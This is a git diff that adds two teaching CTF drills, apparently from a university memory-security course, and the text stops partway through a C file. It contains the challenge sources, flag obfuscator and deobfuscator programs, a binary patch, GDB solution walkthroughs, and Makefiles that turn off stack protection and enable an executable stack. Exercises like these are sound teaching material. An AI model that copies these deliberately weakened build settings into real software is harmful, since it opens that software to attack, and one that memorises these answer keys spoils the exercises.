+The `look-at-him-go/support/dynamic` binary is executable this time and its sole purpose is to obtain the flag and place it somewhere in memory.
+No tricks here.
+> **TIP:** GDB is your friend.
+
+If you're unable to progress in this exercise, reference [the GDB lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%202%20-%20Memory%20Operations.%20Introduction%20to%20GDB/Introduction%20to%20GDB/Reading/) and [this](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb).
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile
new file mode 100644
index 00000000..0cbf47ab
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = dynamic
+OBJ = dynamic.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/dynamic.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/dynamic.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md
new file mode 100644
index 00000000..e31c7cf0
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md
@@ -0,0 +1,19 @@
+# Solution
+
+Run the executable with GDB, ideally with `gef`, `pwndbg`, or `peda`.
+As you step through, you will notice that the flag will appear in fragments in the display of the register contents (the flag string contains null characters placed specifically so that it would not be displayed all at once).
+
+```asm
+$eax   : 0x0804d625  →  "_out,"
+$ebx   : 0x0804d22e  →  "_out,"
+$ecx   : 0x0804d62a  →  0x00000000
+$edx   : 0x0804d625  →  "_out,"
+```
+
+You may also see fragments in the memory dump, at times:
+
+```asm
+0xffffd4b8│+0x0008: 0xf7fb9000  →  0x001ead6c
+0xffffd4bc│+0x000c: 0x0804d600  →  0x00000000
+0xffffd4c0│+0x0010: 0x0804d210  →  0x00495348 ("HSI"?)
+```
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c
new file mode 100644
index 00000000..0bc93548
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define MAXC 1000
+
+char *get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x7b\x37"
+			 "\x20\x72\x24\x21\x49\x5e\x08\x45\x41\x05\x16\x40\x35\x7d\x25\x43"
+			 "\x08\x70\x6d\x75\x56\x1e\x0a\x11\x01\x61\x07\x64\x0d\x2b\x6f\x31"
+			 "\x0b\x43\x07\x1c\x7c\x52\x0a\x62\x37\x46\x6c\x09\x70\x52\x54\x7b"
+			 "\x2d\x5d\x1a\x46\x26\x70\x24\x2b\x7e\x11\x6d\x06\x16\x61\x70\x4b"
+			 "\x7b\x51\x7d\x17\x4d\x19\x27\x24\x0f\x09\x65\x18\x4f\x6b\x4b\x2c"
+			 "\x49\x1b\x65\x74\x1a\x18\x5b\x17\x4e\x57\x16\x37\x57\x72\x53\x31"
+			 "\x4c";
+
+	int i = 0, cnt = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)calloc(MAXC, 1);
+	char *fin = (char *)calloc(MAXC, 1);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+		++cnt;
+		// Copying the string into another with a null character once every 5 characters
+		if (i % 5 == 0 || !flag[iflag]) {
+			strncpy(fin + i - cnt + i / 5, res + i - cnt, 5);
+			// Covering our tracks
+			memset(res + i - 5, 0, 5);
+			cnt = 0;
+		}
+	}
+	free(res);
+
+	return fin;
+}
+
+int main(void)
+{
+	char buff1[100];
+	char *buff2;
+	int j = 0;
+
+	buff2 = malloc(100);
+
+	strcpy(buff1, "So close ");
+	strcpy(buff2, "and yet so far...\n");
+
+	buff1[9] = 0;
+	buff2[19] = 0;
+
+	char *flag = get_flag();
+	// 13 doesn't have special meaning
+	for (int i = 0; i < 13; i++) {
+		if (!flag[i])
+			continue;
+		buff1[10 + j] = flag[i];
+		j++;
+	}
+	j = 0;
+	// 32 is the length of flag
+	for (int i = 0; i < 32; i++) {
+		if (!flag[i])
+			continue;
+		buff2[20 + j] = flag[i + 13];
+		j++;
+	}
+
+	printf("%s%s", buff1, buff2);
+
+	free(buff2);
+	free(flag);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic
new file mode 100755
index 0000000000000000000000000000000000000000..f36e23a0c2450c44843fd42dfe9664949dbbf82a
GIT binary patch
literal 19664
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
Z!tg8`M$u3X4R`MBIMD$)785+n`=6h}SpNV3

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/README.md b/chapters/memory-security/ctf/drills/tasks/playing-god/README.md
new file mode 100644
index 00000000..514fb440
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/README.md
@@ -0,0 +1,6 @@
+# Playing God
+
+The `playing-god/support/dynamic2` binary asks you to guess a number between 1 and 100000.
+Find a better way to discover it.
+
+To help you solve this exercise, like in the previous one, make sure to [keep an eye on the registers](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb)!
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile
new file mode 100644
index 00000000..2d39ad34
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = dynamic2
+OBJ = vuln.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/vuln.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/vuln.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md
new file mode 100644
index 00000000..b7604291
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md
@@ -0,0 +1,10 @@
+# Solution
+
+Run the executable with GDB.
+You can see the random number in the register before the input function call.
+
+```asm
+$eax   : 0x12986
+$ebx   : 0x0
+$ecx   : 0x12986
+```
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
